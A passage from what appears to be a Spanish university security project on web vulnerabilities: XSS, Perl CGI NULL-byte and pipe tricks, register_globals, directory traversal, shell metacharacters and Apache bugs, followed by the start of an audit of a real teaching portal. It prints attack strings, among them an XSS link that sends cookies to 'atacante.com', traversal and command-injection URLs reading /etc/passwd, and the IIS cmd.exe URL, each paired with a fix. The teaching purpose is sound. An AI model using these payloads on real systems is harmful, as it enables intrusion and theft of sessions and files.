encontraba (es decir, el foro vulnerable). La nueva pgina, bajo el control del
atacante, es un simple script o CGI que recoge y almacena el parmetro que le sea
pasado (la cookie). El resultado es que el atacante obtendr la cookie de la vctima.
Ahora el atacante podra conectarse a la pgina web del foro, falseando su propia
cookie e incluyendo los datos de la cookie que acaba de robar. La aplicacin del foro
identificar los datos de la cookie como la sesin del usuario vctima, y le dar
acceso al contexto de dicha persona. Todo esto siempre y cuando la sesin de la
vctima no haya expirado. En cualquier caso, hay una ventana de tiempo durante el
cual la vulnerabilidad puede ser fcilmente explotada.
Los atacantes ms sofisticados automatizarn el proceso anterior, de forma
que el propio script que guarda la cookie, adems iniciar el proceso de conexin al
foro, usando la cookie recin robada, y suplantar al usuario vctima. De este modo,
el atacante siempre conseguir aprovechar la ventana de tiempo de vulnerabilidad,
por pequea que sea sta.
Tambin sern lo suficientemente hbiles como para que el ataque pase
desapercibido. Es tpico que tras ejecutar el cdigo malicioso (envo de cookie, por
ejemplo) se le muestre a la vctima la pgina que esperaba ver (como un mensaje
aparentemente inocuo, en el caso del foro). Tambin es frecuente ofuscar las cadenas
de cdigo, por ejemplo usando la notacin hexadecimal (imaginemos que escribimos
%3c%73%63%72%69%70%74%3e en lugar de <script>).
La ingeniera social puede jugar un papel importante en el desarrollo de un
ataque XSS. Pensemos en un atacante que le enva a su vctima, por el medio que sea
(mail, chat, etc.), un enlace del tipo:
http://site/script.php?variable="<script>document.location='http://atacante.com/cgibin/logger.cgi? '%20+document.cookie</script>
Pg. 36
Y le convence para que pinche en l. Piense que seguramente la vctima slo

se fijar en el comienzo de la URL, comprobar que el enlace pertenece a un host
confiable y probablemente lo acepte sin ms. Si adems, la segunda parte de la URL
es ofuscada convenientemente, la probabilidad de xito ser an mayor.
3.2.2. Ejemplos de cadenas peligrosas que pueden ser inyectadas.

Todo lenguaje o tecnologa que pueda ser interpretado por un navegador es
susceptible de ser usado para explotar un bug XSS. Esto incluye: JavaScript,
VBScript, ActiveX, HTML y Flash.
Andrew Clover envi a Bugtraq36 una buena relacin de cadenas que podran
tener utilidad en la explotacin de vulnerabilidades XSS, para distintos navegadores.
Son bastante ilustrativas, as que las reproduciremos a continuacin:
<a href="javascript#[code]">
<div onmouseover="[code]">
<img src="javascript:[code]">
<img dynsrc="javascript:[code]"> [IE]
<input type="image" dynsrc="javascript:[code]"> [IE]
<bgsound src="javascript:[code]"> [IE]
&<script>[code]</script>
&{[code]}; [N4]
<img src=&{[code]};> [N4]
<link rel="stylesheet" href="javascript:[code]">
<iframe src="vbscript:[code]"> [IE]
<img src="mocha:[code]"> [N4]
<img src="livescript:[code]"> [N4]
<a href="about:<script>[code]</script>">
<meta http-equiv="refresh" content="0;url=javascript:[code]">
<body onload="[code]">
<div style="background-image: url(javascript:[code]);">
<div style="behaviour: url([link to code]);"> [IE]
<div style="binding: url([link to code]);"> [Mozilla]
<div style="width: expression([code]);"> [IE]
<style type="text/javascript">[code]</style> [N4]
<object classid="clsid:..." codebase="javascript:[code]"> [IE]
<style></script>
<![CDATA[</script>
36
Bugtraq es el nombre de una conocida lista de correo sobre seguridad, actualmente albergada en
securityfocus.com.
Pg. 37
<script>[code]</script>

<<script>[code]</script>
<img src="blah"onmouseover="[code]">
<img src="blah>" onmouseover="[code]">
<xml src="javascript:[code]">
<xml id="X"><a><b><script>[code]</script>;</b></a></xml>
<div datafld="b" dataformatas="html" datasrc="#X"></div>
[\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera]
3.2.3. Solucin.
Una vez ms, la solucin pasa por parsear adecuadamente toda la entrada de
usuario. En particular, habr que tener especial cuidado con los caracteres < y >,
que debern ser sustituidos por < y >, respectivamente. Asimismo, se
recomienda adems reemplazar otros caracteres como (, ), # o & por
&#40, &#41, &#35 y &#38, respectivamente.
La proteccin anteriormente vista, del lado del servidor, es la ms
recomendable. Sin embargo, tambin es posible que un cliente se proteja a s mismo,
simplemente desactivando funcionalidades del navegador, como el uso de Javascript
o de los controles ActiveX. Quizs la prdida de funcionalidad que obtendr el
usuario se ver recompensada por un incremento de su seguridad. Tampoco es mala
idea desconfiar de e-mails de desconocidos que contengan links37, y en general, de
todo enlace proporcionado por un extrao, sea cual sea el medio utilizado.
Dejaremos para el captulo 4 la implementacin en PHP de la primera (y ms
importante) de estas protecciones.
37
Link: enlace (de una pgina web).
Pg. 38
3.3. Vulnerabilidades en scripts CGI escritos en Perl.

Las siguientes vulnerabilidades, descritas por primera vez en un artculo de
Phrack Magazine38, son todava muy comunes y fciles de encontrar en la WWW.
Por ello, no hemos querido pasarlas por alto, y se ha decidido repasar brevemente
algunas de ellas.
3.3.1. Poison NULL byte39.

La tcnica consiste en insertar un carcter nulo (8 bits todos a cero) en el lugar
apropiado. Se basa en la diferente interpretacin que de l hace Perl y C. En C, el
carcter nulo es usado como terminador de cadenas40. Perl, sin embargo, acepta
este carcter especial como parte integrante de una cadena, sin significar el final de
sta.
Veamos un ejemplo simple. Sea el siguiente fragmento de cdigo en Perl:
# parse $user_input
$database="$user_input.db";
open(FILE "<$database");
Este cdigo toma el contenido de la variable $user_input y le aade la cadena

.db para formar un nombre de fichero. Luego, se abrir este fichero. El atacante
tiene control sobre la variable, pero en principio no parece obvio que ste pueda
modificar el nombre del fichero resultante a su antojo (el .db molestara en su
labor). Cmo provocar que el programa anterior abra el fichero target.html?
La idea es introducir en la variable el valor target.html\0. De esta forma
tenemos que:
$database = target.html\0.db
38
Phrack es una revista en formato digital dedicada al mundo underground.

Literalmente, algo as como el byte NULO envenenado.
40
El carcter nulo se representa como \0.
39
Pg. 39
Perl intentar abrir el fichero anterior y para ello har uso de diferentes
llamadas al sistema. El truco est en que dichas funciones de sistema estn escritas
en C, y por tanto, manejarn de forma diferente el carcter \0; concretamente, lo
tomarn como terminador del nombre de fichero, de forma que realmente el fichero
que tratarn de abrir ser target.html (todo lo que hay despus del carcter
terminador ser ignorado). De esta forma, un obstculo que pareca insalvable (el
.db) ha sido salvado exitosamente.
Traslademos este ejemplo a la web. Supongamos que las lneas de cdigo
anteriores pertenecan al script CGI ubicado en:
http://victima.com/cgi-bin/page.cgi?database=clientes
La URL anterior abrira la base de datos clientes.db. Si quisiramos abrir el

propio fichero del script (para listar su contenido) slo tendramos que realizar la
siguiente peticin al servidor web:
http://victima.com/cgi-bin/page.cgi?database=page.cgi%00
Ntese que el %00 es el carcter nulo en representacin web.

La solucin a este bug es filtrar la variable para eliminar los caracteres nulos
que existan. En Perl se hara as:
$database=~s/\0//g;
Pg. 40
3.3.2. Ejecucin de comandos con |.

En Perl, aadir el carcter |41 al final del nombre de fichero en una sentencia
open significa ejecutar el fichero, en lugar de abrirlo.
As pues, la lnea de cdigo siguiente:
open(FILE, "/bin/ls")
abrir el fichero /bin/ls, mientras que:

open(FILE, "/bin/ls|")
lo ejecutar.
Supongamos que tenemos el script siguiente:
# parse $user_input
$database="$user_input";
open(FILE "<$database");
La siguiente URL explotara la vulnerabilidad y conseguira listar el directorio

actual (es decir, ejecutara el comando ls dado, en el servidor web):
http://victima.com/cgi-bin/page.cgi?database=/bin/ls|
Por supuesto, esta tcnica se puede combinar con la anterior, resultando til en
ciertos escenarios. Recomendamos la lectura del artculo de Rain Forest Puppy,
donde se describen a fondo esta y otras tcnicas.
La solucin a este problema es bien fcil: filtrar los caracteres |, al igual que
ya hicimos con el carcter nulo.
41
El carcter | se denomina pipe (en espaol, tubera).
Pg. 41
3.4. Abuso de register_globals en PHP.

Hasta hace no mucho, todas las versiones de PHP venan, por defecto, con la
opcin de register_globals activada en su configuracin. Su utilidad era forzar a
que cualquier variable pasada al script, como entrada de usuario (via GET, POST o
cookie), fuera tratada como una variable global. Esto simplificaba la tarea del
programador.
Sin embargo, esto poda traer problemas en la seguridad. Obsrvese el cdigo
PHP ilustrado en la siguiente figura:
<?php
if ($username==root) { // can be forged by a
user in get/post/cookies
$good_admin_login = 1;
}
if ($good_admin_login == 1) { // can be forged too
fpassthru
("/highly/sensitive/data/index.html");
}
?>
Figura 2.1. Ejemplo de cdigo vulnerable segn register_globals.
El programa tiene dos partes bien diferenciadas: una primera donde realiza
una primera comprobacin (para ver si el usuario es o no root), en funcin de la
cual asigna o no un valor a una segunda variable ($good_admin_login); y otra donde
comprueba precisamente esta ltima variable.
El problema est en esta segunda parte: si la primera comprobacin no es
correcta, la variable $good_admin_login quedar sin asignar. Qu ocurrira si el
atacante realiza esta asignacin por su cuenta? Con la opcin $register_globals =
On (por defecto en la mayora de versiones de PHP) podremos pasarle al script la
Pg. 42
variable anterior, y definirla a 1, de forma que conseguiramos burlar la proteccin

(la segunda comprobacin).
El fallo ha sido la alteracin (o envenenamiento) de una variable que se
supona interna del programa y en ningn momento deba haber estado al alcance del
atacante (i.e., no se debera de poder modificar externamente). No ha sido as, por
culpa de esta peligrosa opcin: register_globals.
La versiones de PHP ms recientes traen esta opcin deshabilitada, de forma
que dentro del script PHP se distingue entre una variable global corriente y una
variable GET (o POST o cookie). Para ello, el programador debe referenciar
explcitamente el tipo de variable. Por ejemplo, para que el programa de la figura 2.1
funcionara adecuadamente sera necesario sustituir $username por lo siguiente:
$_GET[username]. Si as lo hacemos, el programa aceptara y leer esta variable de
una peticin GET. Existen formas de referenciacin similares para variables de tipo
POST y Cookie.
3.5. Directory Traversal42.

Esta vulnerabilidad es fcilmente detectable y explotable. Su denominacin da
una idea sobre sus fundamentos. Consiste en aadir cadenas como ../ a un path
dado, de forma que podamos obtener acceso a directorios anteriores, que se suponan
inalcanzables.
Por ejemplo, supongamos un CGI que visualiza o sirve ficheros de un
directorio de downloads. Como entrada, debera aceptar el nombre del fichero a
descargar:
42
En castellano se refiere a atravesar o cruzar directorios.
Pg. 43
http://www.victima.com/cgi-bin/download?fichero=apuntes.zip
Supongamos ahora que, internamente, el CGI est configurado para coger
todos los ficheros del directorio /home/www/download/ de forma que lo que
har ser aadir el nombre del fichero al path anterior, y finalmente acceder a:
/home/www/download/apuntes.zip
Cmo aprovechara esto un atacante? Pues simplemente realizara la

siguiente peticin sobre el servidor web:
http://www.victima.com/cgi-bin/download?fichero=../../../etc/passwd
De esta forma, el CGI le devolver el fichero cuyo path absoluto es:
/home/www/download/../../../etc/passwd
Que es equivalente a haber escrito:

/etc/passwd
Es decir, le devolver el archivo de contraseas del servidor Unix!

Cmo se habra evitado esto? Pues simple: filtrando correctamente la
variable fichero anterior, para que elimine los caracteres perniciosos (como el . y
la /), antes de concatenear el path del directorio con el contenido de la variable
fichero.
Es importante tener en cuenta que los caracteres, dependiendo de qu
contextos, se pueden codificar de diferentes formas. La siguiente peticin web es
totalmente legtima y equivalente a la de arriba:
http://www.victima.com/cgi-bin/download?fichero=%2e%2e/%2e%2e/%2e%2e/etc/passwd
Pg. 44
La cadena %2e es equivalente al punto (.). Es lo que se conoce como

URL-encoding y entre otras cosas implica que un carcter ASCII dado se puede
escribir concatenando el smbolo % con el nmero hexadecimal que represente a
dicho carcter. En el caso anterior, el . se corresponde con el carcter ASCII 46 (en
decimal), que escrito en forma hexadecimal es 2E.
Mediante este tipo de tcnicas que se aprovechan de codificaciones algunas
veces no tan conocidas como la anteriormente mencionada, se han conseguido
explotar fallos en servidores web como IIS. Es muy conocida y fue muy famosa en
su da la vulnerabilidad de Unicode en IIS, que haca uso de la tcnica que
estamos comentando. Se podan ejecutar comandos remotamente, as:
http://www.victima.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\inetpub\wwwroot
Con la URL anterior conseguiramos listar el directorio c:\inetpub\wwwroot

de la mquina remota, ya que hemos ejecutado un dir.
Este tipo de errores tambin puede surgir como fruto de las diferencias entre
sistemas operativos como Windows y Unix. Por ejemplo, lo siguiente funcionara en
Windows: ..\..\..\, es decir, se puede sustituir el carcter / por la \, en ciertos
casos (e incluso habr situaciones es que funcionar igualmente tanto la barra normal
como la invertida, con el mismo resultado). Por eso, es posible que el CGI vulnerable
filtre adecuadamente el carcter / pero se olvide de hacer lo propio con el otro: \;
de esta forma, el CGI seguira siendo vulnerable, en algunos escenarios (tipo
Windows).
Pg. 45
3.6. Metacaracteres del shell.

Se trata de caracteres que tienen un significado especial para la shell (por
ejemplo, el carcter *, en la mayora de shells, sustituye a cualquier nombre de
fichero que se encuentre en un directorio dado).
La tcnica se explotara de forma muy similar a la vulnerabilidad descrita en
el apartado anterior. Para demostrarlo, pensemos en un CGI que provee un servicio
de traceroute gratuito a sus usuarios:
http://www.victima.com/cgi-bin/tcservice.cgi?ip=62.23.130.2
Supongamos que, internamente, el servidor construye el comando siguiente,
que lanzar a la shell:
/usr/sbin/traceroute 62.23.130.2
Es decir, concatena sin ms el nombre de un ejecutable del sistema con la IP

que le hemos proporcionado y hace que la shell ejecute la lnea obtenida. Veamos
cmo explotara un atacante este fallo:
http://www.victima.com/cgi-bin/tcservice.cgi?ip=62.23.130.2;+cat+/etc/passwd
El servidor entonces ejecutar:
/usr/sbin/traceroute 62.23.130.2; cat /etc/passwd
El carcter ; se utiliza en shells de Unix para concatenar comandos. El

resultado de la lnea anterior ser que el servidor remoto ejecutar los dos comandos,
siendo uno de ellos el que nosotros le hemos proporcionado inteligentemente.
Pg. 46
Podramos haber logrado un efecto similar haciendo uso de otros caracteres como el
| (pipe).
3.7. Vulnerabilidades en el servidor web Apache.

Segn las estadsticas de Netcraft43, Apache es el software servidor web ms
utilizado en Internet, con ms del 60% de la cuota de mercado44. Este software
gratuito ha sido desarrollado por un grupo de voluntarios que constituyen lo que se
conoce como Apache Group.
Figura 2.2. Servidores web ms usados en Internet y su evolucin.
A lo largo de su vida, se han ido descubriendo numerosos fallos de seguridad

en este software, y se han ido corrigiendo a medida que se descubran.
Apache corre como un proceso en la mquina servidora, y necesita privilegios
de root para ser iniciado, ya que ha de abrir un socket en modo escucha sobre un
43
Puede consultar las estadsticas de Netcraft en: http://www.netcraft.com/survey/

Por esta razn, y teniendo en cuenta adems que el portal web objeto de este Proyecto se ha
desarrollado ntegramente sobre la plataforma Apache, hemos credo conveniente la inclusin de este
apartado de vulnerabilidades en el servidor web Apache. No trataremos otros servidores web como
Microsoft IIS, a pesar de ser el competidor ms directo de Apache (con un 29% aproximado de cuota
de mercado) y del amplio historial de vulnerabilidades del que dispone, por motivos de extensin. Se
recomienda acudir a la bibliografa para obtener informacin sobre bugs tan importantes como el del
conocido Unicode, que afect gravemente a la reputacin de Microsoft.
44
Pg. 47
puerto privilegiado45. Una vez hecho esto, Apache se deshace de sus privilegios y
sigue ejecutndose sin privilegios (normalmente como el usuario apache, httpd o
nobody). El proceso padre Apache crea adems varios procesos hijos, entre los que
reparte las peticiones web recibidas, que se irn procesando en paralelo.
Segn lo anterior, parece lgico que la mayora de vulnerabilidades
descubiertas en Apache puedan conducir al atacante a la obtencin del acceso remoto
a la mquina vctima, pero no de privilegios de superusuario (en primera instancia).
En la siguiente figura puede observar un ejemplo de un ataque realizado a un
servidor Apache 1.3.23 con SSL. En este caso, el bug explotado no se encuentra en el
cdigo del servidor en s, sino en uno de los mdulos aadidos (mod_ssl). Se trata
de un fallo tpico de buffer overflow.
Figura 2.3. Explotando la vulnerabilidad en mod_SSL en Apache.
45
Los puertos privilegiados son aquellos por debajo del 1024, excluido este ltimo.
Pg. 48
Puede observarse cmo los privilegios obtenidos corresponden a un usuario

normal (en este caso, apache) y no al superusuario. El exploit46 anterior es
bastante reciente y funciona en diferentes versiones de Apache (y diferentes
distribuciones de Linux), como demuestra la siguiente ilustracin.
Figura 2.4. Arquitecturas soportadas por el exploit de Mod_SSL.
Algunos de los fallos ms sonados y recientes en el servidor Apache o

software asociado (listamos sus referencias) son:
46
Exploit: programa, script o texto explicativo cuya utilidad es la explotacin de una vulnerabilidad
conocida.
Pg. 49
CAN-2002-0656: OpenSSL SSLv2 Malformed Client Key Remote

Buffer Overflow Vulnerability.
http://online.securityfocus.com/bid/5363/
CAN-2002-0392: Apache Chunked-Encoding Memory Corruption
Vulnerability
http://online.securityfocus.com/bid/5033
CVE-2002-0081: PHP Post File Upload Buffer Overflow
Vulnerabilities
http://online.securityfocus.com/bid/4183
Las tres vulnerabilidades expuestas son de carcter muy grave y pueden ser
explotadas remotamente a travs del servidor Apache. La primera de ellas es
precisamente la que hemos explotado antes a travs de mod_ssl; la segunda radica
en el propio software Apache, y la tercera y ltima afecta al cdigo del motor PHP
(que usualmente se encuentra compilado como un mdulo de Apache).
Para evitar este tipo de vulnerabilidades en el lado del servidor la mejor
solucin es estar siempre al da, es decir, tener instalada siempre la ltima versin del
software servidor (y mdulos asociados), o asegurarse de haber aplicado los parches
correspondientes a cada uno de los bugs que se han ido descubriendo.
3.8. Las diez vulnerabilidades ms comunes.

La siguiente tabla resume las estadsticas obtenidas a partir de la base de datos
de CVE, en el perodo comprendido entre Enero de 2000 y Octubre de 2002:
Pg. 50
Overall
Rank
------1
2
3
4
5
6
7
8
9
10
Flaw type
-------------------Buffer overflow
Directory Traversal
"Malformed input"
Shell Metacharacters
Symlink Following
Privilege Handling
Cross-site scripting
Cryptographic error
Format strings
Bad permissions
Overall
Percent
------21.8%
6.8%
5.8%
4.4%
3.6%
3.5%
3.1%
2.9%
2.8%
2.4%
Open Src.
Rank
--------1
11
6
5
2
4
8
13
3
7
Closed Src.
Rank
----------1
14
2
7
10
3
13
11
12
5
Hemos hablado ya de casi todos los tipos de fallos (flaw types) recogidos.
Enumeraremos los restantes (no espere una explicacin detallada):
Malformed input: agrupa de forma genrica a bugs derivados de una
entrada de usuario defectuosa (o malformada), y que no pueden ser
catalogados bajo otras categoras ms especficas (normalmente por falta
de datos acerca de la vulnerabilidad en s).
Symlink following: el programa vulnerable realiza operaciones con
ficheros, y admite el uso de enlaces simblicos. Si un atacante tuviera
acceso de escritura al directorio donde se guardan los archivos con los que
trabajar la aplicacin, podra por ejemplo, crear un fichero de tipo enlace
simblico al fichero de contraseas /etc/passwd, y forzar al programa
vulnerable a que acceda a este ltimo, a travs del enlace.
Privilege handling: cubre dos casos: primero, cuando se le asigna a un
proceso o funcin ms privilegios de los que se supone debera tener; y
segundo, el caso de que un atacante pueda saltarse mecanismos de
autentificacin, para acceder a una capacidad privilegiada.
Cryptographic error: se refiere a diseos inseguros (un algoritmo
malo) o una implementacin incorrecta de un algoritmo criptogrfico.
Format strings: los bugs de cadena de formato aprovechan la
expansin de cadenas como %x en funciones del tipo printf().
Pg. 51
Bad permissions: el programa vulnerable asigna permisos inseguros a

un fichero o directorio, bien como consecuencia de una mala eleccin de
diseo, o bien debido a un error de implementacin.
La tabla muestra tres tipos de clasificaciones. En la primera columna aparece
la clasificacin global. La cuarta y quinta columna corresponde al lugar clasificatorio
ocupado por el tipo de vulnerabilidad dada, en programas open-source y closedsource, respectivamente47.
4. Herramientas tiles.
No queramos dejar pasar por alto la oportunidad de mostrar alguna de las
herramientas ms tiles en el campo de la seguridad. Estas herramientas son armas
de doble filo: sern usadas tanto por profesionales de la seguridad que tratan de
securizar o proteger sus sitios web, como por vidos atacantes a punto de realizar
alguna fechora.
Este apartado no pretende mostrar una coleccin de herramientas que todo el
mundo debera tener, sino slo algunas de ellas que nos han resultado bastante
representativas. La mayora son muy conocidas; algunas otras no lo son tanto.
47
Las aplicaciones open source son aquellas cuyo cdigo fuente es pblico (lo cual no quiere decir
necesariamente que sean gratuitas, aunque en muchos casos lo son). El entorno utilizado por nuestro
portal est basado en aplicaciones de este tipo y es adems totalmente gratuito.
Pg. 52
4.1.
Nmap.
Desarrollada por un hacker apodado Fyodor, NMap (Network Mapper) es
una excelente herramienta de scan48 de puertos (TCP y UDP).
Figura 2.5. Ejemplo de utilizacin de Nmap.
Nmap fue desarrollada bajo entornos Unix, aunque existen versiones

portadas a otros sistemas operativos, como Windows. Presenta numerosas
funcionalidades avanzadas, entre las que cabe destacar la deteccin remota de
48
Scan: exploracin, barrido.
Pg. 53
sistema operativo, basada en fingerprint49, y diversas opciones de scan de puertos

avanzadas.
Para ms informacin sobre NMap, recomendamos acudir a su sitio oficial:
http://www.insecure.org/nmap/index.html
4.2.
Proxomitron.
Esta potente herramienta para entornos Windows es ideal para probar la
seguridad de un sitio web. Se instala como un proxy local e intercepta todo el trfico
web que pasa a travs de l, permitiendo visualizarlo y analizarlo.
Figura 2.6. Ventana principal de Proxomitron.
Donde esta herramienta muestra su verdadera utilidad es a la hora de filtrar el

trfico web. Proxomitron incluye una amplia gama de filtros, que permiten alterar
el trfico web en tiempo real. As pues, podr alterar el contenido de cualquier
cabecera HTTP (incluidas las cookies) o evitar la aparicin de ventanas de banners
49
Fingerprint: huella digital.
Pg. 54
que suelen abrirse automticamente al visitiar ciertas pginas web (para ello,
Proxomitrn interceptar funciones JavaScript como window.open).
Figura 2.7. Opciones de filtrado de cabeceras HTTP.
Proxomitron trae por defecto numerosos filtros ya configurados y listos para

ser usados. Adems, permite definir nuevos filtros mediante el uso de expresiones
regulares, lo que le confiere una gran flexibilidad.
Para ms informacin sobre Proxomitron, se recomienda visitar:
http://www.proxomitron.org/
4.3.
Tcpdump.
Se trata del sniffer de trfico probablemente ms conocido. Su interfaz no es
grfica, sino que est basada en texto. Principalmente funciona en sistemas Unix,
aunque tambin existe una versin portada a Windows (llamada Windump).
Pg. 55
Tcpdump es una herramienta muy verstil. Entre otras funcionalidades, admite

la definicin de filtros, permitiendo as la recogida de trfico de una manera
selectiva.
Figura 2.8. Ejemplo de utilizacin de Tcpdump.
Tcpdump suele venir incluida en la mayora de sistemas operativos Unix, por

tratarse de una poderosa herramienta de diagnstico de problemas en Redes.
4.4.
CommView.
CommView es un excelente sniffer para Windows. Se trata de un producto
comercial de la empresa TamoSoft, Inc.
Pg. 56
Figura 2.9. Anlisis de trfico con CommView.
Entre sus virtudes se encuentra la de poder trabajar con el interfaz de acceso

telefnico a redes, y no slo con interfaces Ethernet (esto ltimo viene siendo lo
habitual en sniffers de Windows).
CommView muestra los distintos protocolos de red desglosados. Puede ser
muy instructivo analizar el trfico que atraviesa nuestra red, sobre todo en los casos
en los que la informacin viaja sin encriptar.
Pg. 57
4.5.
Retina.
Retina es un potente escner de vulnerabilidades desarrollado por la
empresa de seguridad eEye Digital Security. Se ejecuta sobre la plataforma Windows

pero puede analizar cualquier tipo de objetivo (ya sea Windows o no).
Figura 2.10. Anlisis de vulnerabilidades realizado con Retina.
En el Apndice D de este Proyecto se ofrece ms informacin sobre esta

herramienta, y un reporte de ejemplo generado con la misma.
Pg. 58
Captulo 3. Anlisis de seguridad de un sitio web real
Captulo 3
Anlisis de seguridad de un sitio web real
1. Introduccin.
A lo largo de este captulo pondremos en prctica los conceptos mostrados en
puntos anteriores: procederemos a auditar la seguridad de un site web real en
profundidad. Tambin estudiaremos algunas soluciones tpicas a los problemas
encontrados. Desarrollaremos algunas de estas soluciones e ideas as como ciertas
optimizaciones en el captulo siguiente.
2. Escenario.
Las pginas web a auditar corresponden al sitio web docente del profesor
Federico Jos Barrero Garca. stas constan de un alto contenido esttico (ficheros
HTML, imgenes, etc.) y una parte dinmica, plasmada esta ltima en la
implementacin de dos portales web, correspondientes a dos de las materias que
Pg. 59
dicho profesor imparte en la E.S.I. Las materias en cuestin son: Complementos de

Sistemas Electrnicos Digitales (CSED) y Laboratorio de Instrumentacin
Electrnica (LIE).
Nos centraremos precisamente en el estudio de ambos portales, ya que stos
conforman la parte ms crtica y susceptible a fallos de seguridad. Ambos portales
difieren entre s nicamente en el contenido, siendo la estructura (rbol de
directorios, base de datos, etc.) y la programacin (cdigo) de los mismos idnticos.
Esto nos permite enfocar nuestro estudio en un nico portal (CSED), y ms tarde
extrapolar los resultados y conclusiones obtenidas al segundo portal (LIE). Todos
los cambios y mejoras que se realicen e implementen en el portal CSED sern
acometidos tambin en el segundo portal (LIE). No obstante, y por evidentes
motivos de sntesis, slo ser documentado en su totalidad el estudio del primer
portal, as como las diferencias significativas del segundo respecto al primero, si las
hubiere.
El portal web designado como CSED es de eminente carcter docente y
est orientado a los alumnos que se encuentren cursando la asignatura
Complementos de Sistemas Electrnicos Digitales. Se compone de una parte
esttica (principalmente apuntes y diverso material docente relacionado con la
asignatura, que el alumno podr visualizar o descargar, segn el caso), y una serie de
servicios (consulta de notas y calificaciones, tabln de dudas, noticias, etc) basados
en la generacin dinmica de pginas e implementados mediante PHP y cuyos datos
se almacenan en un servidor de bases de datos MySQL.
Es precisamente el conjunto de cdigo que conforma el portal (principalmente ficheros con extensin php) el que ser ms crtico y susceptible de
vulnerabilidades. Nos referiremos a este cdigo como la Aplicacin (en algunos
casos tambin se usar este trmino para referirnos de forma abstracta al portal en su
totalidad; el contexto diferenciar ambas acepciones, si bien entendemos que stas
Pg. 60
estarn estrechamente ligadas). As pues, nuestra principal tarea ser realizar un

anlisis de seguridad sobre esta Aplicacin. La Aplicacin ser el motor de nuestro
portal web, lo dotar de dinamismo y flexibilidad, y en definitiva, ser la responsable
de implementar los distintos servicios que el portal provee.
El portal ofrece una serie de servicios al alumno. A saber:
Sistema automtico de autoevaluacin para el alumno, accesible desde la

Web. Esta aplicacin es capaz de crear un cuestionario de autoevaluacin,
sobre la base de una serie de preguntas, mostrarlo al cliente en una pgina
web y recibir de nuevo dicho cuestionario para que ste sea procesado. Dicho
procesado determinar el nmero de respuestas correctas que hubo y
devolver dicha informacin al cliente para que ste tenga constancia de ello.
Este servicio slo se ofrece en el portal CSED.
Consulta del tabln de dudas, lugar donde se recogern las dudas ms

frecuentes de los estudiantes y la correspondiente respuesta que haya dado el
profesor.
Consulta del tabln de noticias, donde el profesor podr emitir diversa

informacin y comunicados a los alumnos.
Consulta de calificaciones, mediante el cual el alumno tendr acceso a notas

de exmenes.
Sistema de recogida y evaluacin de una encuesta de calidad, acerca de

todos los aspectos docentes de la asignatura. Slo tienen opcin de realizarla
los alumnos matriculados en la asignatura.
Consulta del listado de monitores adscritos a la asignatura. Este servicio

slo se ofrece en el portal LIE.
Como se puede apreciar, la Aplicacin ofrece un total de cuatro servicios
comunes a ambos portales y dos servicios que son inherentes a cada uno de los
mismos (uno por cada portal).
Pg. 61
Los datos usados en cada servicio son almacenados en bases de datos, y estas
ltimas residen en un servidor MySQL. De esta forma, la Aplicacin puede lanzar
peticiones al servidor MySQL, en forma de sentencias SQL, y as poder acceder a los
datos, ya sea para consultarlos o realizar operaciones de administracin (aadir,
editar o borrar) sobre ellos.
El lenguaje de programacin usado en la Aplicacin es, como anunciamos ya,
PHP. Entre sus caractersticas principales contamos con un fcil acceso a bases de
datos. El API de PHP es muy amplio: cuenta con multitud de funciones para manejar
cadenas, arrays y en general cualquier tipo de datos; tiene soporte para el acceso a
diversas bases de datos (y en particular, MySQL) y en general, est orientado a la
programacin web, lo que lo hace ideal en nuestro escenario. Adems se integra
perfectamente con diferente software de servidor web, y en especial, con el software
Apache, que ser el que utilizaremos en nuestro montaje.
As pues, un esquema que ilustra los componentes que definen el escenario en
el cual se ejecutar nuestra Aplicacin es el siguiente:
Servidor Web Apache
PHP
Base de datos
MySQL
Cliente
Cliente
El cliente se conecta al servidor web y realizar peticiones de pginas HTML

y PHP. En este ltimo caso, el mdulo de PHP, instalado en el servidor Apache,
Pg. 62
parsear el fichero y llevar a cabo las acciones que mande el cdigo incrustado en
l. Algunas de estas acciones requerirn el acceso al servidor MySQL.
Por falta de espacio de disco en el servidor web principal, los ficheros y
pginas web que componen el portal se encuentran distribuidos en dos servidores
web diferentes.
El servidor web principal, llamado woody, es el nico de los dos que tiene
salida a Internet (tiene una IP pblica). Sus datos son:
Nombre: woody.us.es
IP: 193.147.161.237
Alias: www.gte.us.es
El servidor web secundario se llama apache y no tiene salida a Internet

(tiene una IP privada):
Nombre: apache
IP: 172.16.1.48
Nota: existe una cierta ambigedad por el hecho de haber usado el nombre de
mquina apache, que tambin coincide con el nombre del software que usaremos
para servir pginas (Apache). El contexto, en estos casos, siempre ayuda a
diferenciar, pero adems intentaremos, de ahora en adelante, escribir el nombre de
mquina todo en minsculas mientras que cuando nos refiramos al software
usaremos maysculas al principio de palabra.
Ambos servidores web corren el software Apache, y para que todas las
pginas (incluidas las albergadas en el servidor secundario) sean visibles desde
Pg. 63
Internet, se hace uso de una funcionalidad que tiene el software Apache y que
permite que un servidor acte de proxy hacia un segundo servidor.
La mayora de las pginas, incluida la principal, se encuentran en:
CSED: http://www.gte.us.es/~fbarrero/CSED/
LIE:
http://www.gte.us.es/~fbarrero/LIE/
(Nota: se podra sustituir www.gte.us.es por woody.us.es , ya que el

primero es en realidad un alias al segundo).
Las pginas PHP residen fsicamente en la mquina con IP interna (llamada
apache) y son servidas en primera instancia por esta ltima. De hecho todo el
procesado del cdigo PHP y acceso a la base de datos se realiza ah mismo: en
apache. Sin embargo, woody realiza funciones de proxy sobre estas pginas, de
forma que quedarn mapeadas sobre este ltimo, que es quien de verdad tiene
acceso a Internet (y lgicamente tambin a la red interna donde se encuentra la
mquina apache) y el cual recibir normalmente todas las peticiones de clientes
reales. Las URLs virtuales de las que estamos hablando son:
CSED: http://www.gte.us.es/fbarrero/csed/
LIE:
http://www.gte.us.es/fbarrero/lie/
Cuando un cliente haga una peticin sobre una de estas URLs,

automticamente woody lanzar la misma peticin sobre apache, recoger la
respuesta, y la reenviar al cliente. Es decir, woody est actuando como simple
intermediario de la informacin (el procesado y en general, todo el trabajo pesado se
realiza en apache). Desde el punto de vista de apache, woody ha actuado como
cliente. Desde el punto de vista del cliente original, apache es como si no existiera
(es totalmente transparente).
Pg. 64
Para crear este efecto espejo se ha hecho uso de un mdulo de Apache

(http://httpd.apache.org/docs/mod/mod_proxy.html) y se ha configurado aadiendo
las siguientes lneas al httpd.conf de woody:
ProxyPass /fbarrero
ProxyPassReverse /fbarrero
http://172.16.1.48/fbarrero
http://172.16.1.48/fbarrero
